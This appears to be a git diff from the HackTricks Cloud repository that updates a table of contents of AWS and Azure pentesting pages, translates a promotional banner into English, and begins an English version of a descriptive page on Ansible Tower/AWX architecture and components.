||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
|
||||
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
|
||||
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
|
||||
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
|
||||
@@ -373,7 +335,6 @@
|
||||
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
|
||||
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
|
||||
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
|
||||
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
|
||||
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
|
||||
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
|
||||
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
|
||||
@@ -384,7 +345,7 @@
|
||||
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
|
||||
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
|
||||
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
|
||||
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
|
||||
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
|
||||
@@ -409,7 +370,6 @@
|
||||
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
|
||||
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
|
||||
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
|
||||
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
|
||||
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
|
||||
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
|
||||
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
|
||||
@@ -419,32 +379,31 @@
|
||||
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
|
||||
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
|
||||
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
|
||||
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
@@ -464,7 +423,6 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
|
||||
@@ -524,7 +482,6 @@
|
||||
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
|
||||
|
||||
@@ -1,14 +1,18 @@
|
||||
> [!TIP]
|
||||
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Support HackTricks</summary>
|
||||
>
|
||||
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
BIN
src/files/empty.zip
Normal file
BIN
src/files/empty.zip
Normal file
Binary file not shown.
BIN
src/pdfs/AWS_Services.pdf
Normal file
BIN
src/pdfs/AWS_Services.pdf
Normal file
Binary file not shown.
@@ -1,62 +1,63 @@
|
||||
# Ansible Tower / AWX / Segurança do controlador de automação
|
||||
# Ansible Tower / AWX / Automation controller Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface do usuário do Ansible, painel e API REST**. Com **controle de acesso baseado em funções**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais.
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
|
||||
**O Controlador de Automação é uma versão** mais nova do Ansible Tower com mais capacidades.
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
|
||||
### Diferenças
|
||||
### Differences
|
||||
|
||||
De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), as principais diferenças entre Ansible Tower e AWX são o suporte recebido e o Ansible Tower possui recursos adicionais, como controle de acesso baseado em funções, suporte para APIs personalizadas e fluxos de trabalho definidos pelo usuário.
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
|
||||
### Stack Tecnológico
|
||||
### Tech Stack
|
||||
|
||||
- **Interface Web**: Esta é a interface gráfica onde os usuários podem gerenciar inventários, credenciais, modelos e tarefas. É projetada para ser intuitiva e fornece visualizações para ajudar a entender o estado e os resultados de suas tarefas de automação.
|
||||
- **API REST**: Tudo o que você pode fazer na interface web, você também pode fazer via API REST. Isso significa que você pode integrar AWX/Tower com outros sistemas ou scriptar ações que normalmente você realizaria na interface.
|
||||
- **Banco de Dados**: AWX/Tower usa um banco de dados (tipicamente PostgreSQL) para armazenar sua configuração, resultados de tarefas e outros dados operacionais necessários.
|
||||
- **RabbitMQ**: Este é o sistema de mensagens usado pelo AWX/Tower para se comunicar entre os diferentes componentes, especialmente entre o serviço web e os executores de tarefas.
|
||||
- **Redis**: Redis serve como um cache e um backend para a fila de tarefas.
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
|
||||
### Componentes Lógicos
|
||||
### Logical Components
|
||||
|
||||
- **Inventários**: Um inventário é uma **coleção de hosts (ou nós)** contra os quais **tarefas** (playbooks do Ansible) podem ser **executadas**. AWX/Tower permite que você defina e agrupe seus inventários e também suporta inventários dinâmicos que podem **buscar listas de hosts de outros sistemas** como AWS, Azure, etc.
|
||||
- **Projetos**: Um projeto é essencialmente uma **coleção de playbooks do Ansible** provenientes de um **sistema de controle de versão** (como Git) para puxar os playbooks mais recentes quando necessário.
|
||||
- **Modelos**: Modelos de tarefas definem **como um determinado playbook será executado**, especificando o **inventário**, **credenciais** e outros **parâmetros** para a tarefa.
|
||||
- **Credenciais**: AWX/Tower fornece uma maneira segura de **gerenciar e armazenar segredos, como chaves SSH, senhas e tokens de API**. Essas credenciais podem ser associadas a modelos de tarefas para que os playbooks tenham o acesso necessário quando forem executados.
|
||||
- **Motor de Tarefas**: É aqui que a mágica acontece. O motor de tarefas é construído sobre o Ansible e é responsável por **executar os playbooks**. As tarefas são despachadas para o motor de tarefas, que então executa os playbooks do Ansible contra o inventário designado usando as credenciais especificadas.
|
||||
- **Agendadores e Callbacks**: Esses são recursos avançados no AWX/Tower que permitem que **tarefas sejam agendadas** para serem executadas em horários específicos ou acionadas por eventos externos.
|
||||
- **Notificações**: AWX/Tower pode enviar notificações com base no sucesso ou falha das tarefas. Ele suporta vários meios de notificações, como e-mails, mensagens do Slack, webhooks, etc.
|
||||
- **Playbooks do Ansible**: Playbooks do Ansible são ferramentas de configuração, implantação e orquestração. Eles descrevem o estado desejado dos sistemas de uma maneira automatizada e repetível. Escritos em YAML, os playbooks usam a linguagem de automação declarativa do Ansible para descrever configurações, tarefas e etapas que precisam ser executadas.
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
|
||||
### Fluxo de Execução de Tarefas
|
||||
### Job Execution Flow
|
||||
|
||||
1. **Interação do Usuário**: Um usuário pode interagir com AWX/Tower através da **Interface Web** ou da **API REST**. Estas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower.
|
||||
2. **Iniciação da Tarefa**:
|
||||
